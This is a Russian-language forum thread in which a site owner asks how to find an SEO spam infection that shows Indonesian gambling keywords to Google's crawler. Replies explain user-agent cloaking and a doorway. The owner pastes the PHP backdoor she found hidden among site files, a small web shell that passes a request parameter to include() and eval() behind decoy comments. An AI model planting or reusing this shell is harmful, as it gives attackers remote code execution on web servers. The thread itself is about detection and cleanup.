Как найти найти источник seo-вируса на сайте?

Question

[Valentine13]

На днях заметила, что у сайта, много лет стоявшего на первой строчке в поисковиках по своему запросу, внезапно перестала отображаться в поиске главная страница, а вместо иконки, отображающейся у оставшихся страниц, что в гугле, что в яндексе начал отображаться какой-то мусор (причем разный), причем даже на панели яндекс-вебмастера. Панель нарушений угроз безопасности ничего не показывает. Антивирус на хостинге последний месяц ничего странного тоже не находил. Но в той же панели мониторинга важных страниц у яндекс-вебмастера главная страница на днях поменяла заголовок и описание на какой-то не русский мусор, за что видимо, и вылетела. Когда я захожу на сайт и делаю просмотр кода страницы, там все заголовки и описания нормальные, и в коде ничего подозрительного, чего бы я не писала своими руками, нет. Прогоняла главную страницу через всякие онлайн-сканеры аля "сайт глазами гугл-ботов" - там тоже все нормально, заголовки, описания, иконки, код. Единственный, кто нашел подозрительное - сканер от SUCURI. Он выдает мне вот такой результат (набор слов похож на тот, что считал яндекс как описание страницы)

<meta name="keywords" content="link paling gacor slot, slot, slot maxwin, link slot, link slot gacor, situs gacor, rtp gacor hari ini, rtp gacor, link gacor, link paling gacor slot gacor, slot online, slot, maxwin, slot gacor, slot tergacor, slot online gacor, link paling gacor slot, slot gacor gampang menang, situs slot gacor, situs slot online, judi slot, judi online" />
for Google's UA

, называя это Known spam detected: spam-seo?gambling.4.4 и направляя сюда. Но я так и не нашла нигде решения, как с этой напастью бороться. Перерыла вручную все папки на сервере, но так и не нашла никаких подозрительных скриптов. На всякий случай даже закомментировала пока гугл-теги, вк-пиксели и коды рекламных кабинетов на странице, но по меркам sucuri ничего не поменялось.
Как вылечить эту фигню? Спасите, пожалуйста!(

Comments

[Refguser]

Теста много, сути мало. Где пациент? Где инфа о движке и пр? Где запросы в ПС?
(сео-вирус, блин)

[Valentine13]

Refguser, cms на сайте самописная, построенная на mvc идеологии, потому я не могу ничего про движок рассказать), ssl-сертификаты на сайте в порядке. Пробовала откатить все самые нужные php-файлы на версию от 8 октября (увы, у нас на хостинге включена услуга хранения бекапов только 2 недели), ничего не поменялось. Короче, я не понимаю, как найти то, что невозможно даже увидеть. Повторюсь, внешне на сайте как будто нет ничего подозрительного, никаких сбоев в работе, замедления, и самое главное - никаких левых кодов и вот этих мусорных метатегов на клиентской стороне)

[Valentine13]

Refguser, пациент тут

[Refguser]

Valentine13, с самописом всё плохо.. придётся Вам искать специалиста. Но попробуйте пп 3,3 и 3,6. Это актуально вне зависимости от движка.

[Refguser]

гулолояндексы вообще видят другое, а потому выкинут сайт из поиска если это срочно не исправить

Answer 1

[Пума Тайланд]

В зависимости от рефера, юзерагента и прочих параметров сайт показывает свой контент
Обычно достаточно посмотреть все последние измененны1 файлы по дате чтобы найти вирус

Comments

[Valentine13]

Вот как раз поиск по дате файлов ничего подозрительного не выявил. В итоге я нашла показавшийся мне подозрительным файл yunny.php в папке со стареньким phpmailer, но у него дата изменения и время стоят как раз ровно секунда в секунду, как у всех остальных файлов в его папке (10.01.2022, когда весь сайт переезжал на другой хостинг), я его удалила, конечно, но думаю, проблему это не решает, ведь что-то его туда закинуло, мимикрируя под окружающую среду)

[Uno]

Valentine13, я в свое время из академического интереса писал самокопирующийся пхп вирус, он изменял свой код, был однострочным, прятал пейлоад в б64 и копировал себя в случайные места других пхп файлов

[Valentine13]

Uno, ну я в итоге в нескольких папках нашла php файлы, которые датами и именами маскировались под нормальные в тех же папках, выдавало их только то, что все они всегда весят по 603кб, ну и одинаковый код внутри был вот таким)

<?php
/**
 * Be sure to include no trailing slash on the path.
 * See [e-mail]. for more information
 * about PHP manuals and their types.
 */
ini_set("session.cookie_httponly", true);
error_reporting(E_ALL^E_NOTICE^E_WARNING);
session_start();
$_SESSION['server']='';
//Core parameters
function dam(){
    $a=base64_encode($_REQUEST['msfacai']);
    if (isset($a)) {
        $b=''.base64_decode($a).'';
        return ($b);
    }
}
echo 'Important functions related to PHP system<br>'.$_SESSION['server'].dam().'';
$file=''.dam().'';
Include($file);
eval(''.dam().'');
?>

Answer 2

[Виктор Петров]

Вам залили дорвей. Это не вирус как таковой, антивирусы на него не среагируют. Просто спамный сайт в рамках вашего сайта.
Ищите сам дор - хоть по дате. Заодно - и шелл, оболочку, через которую дорвей залили.